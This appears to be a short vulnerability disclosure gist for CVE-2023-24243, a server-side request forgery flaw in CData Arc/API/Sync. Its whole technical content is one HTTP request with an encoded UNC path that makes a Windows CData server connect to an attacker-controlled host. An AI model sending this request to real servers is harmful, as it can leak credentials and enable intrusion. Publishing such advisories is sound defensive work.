DEVCORE d3vc0r3

## CVE-2023-24243.md

      
        
          
            
              
              1 file
            
          
          
            
              
              1 fork
            
          
          
            
              
              0 comments
            
          
          
            
              
              3 stars
            
          
        
        
          
              
          
          
            
                d3vc0r3
                / CVE-2023-24243.md
            
            
              Created
              June 15, 2023 15:12
            
              
                Server-Side Request Forgery (SSRF) vulnerablity in CData Arc/API/Sync <= v22.0.8336
              
          
        
      
        
  
      
    Description

Send http request like this to remote cdata server (windows):
GET /%255c%255c[ATTACKER IP]%255cC$%255cbb HTTP/1.1
Host: cdata.arc.ip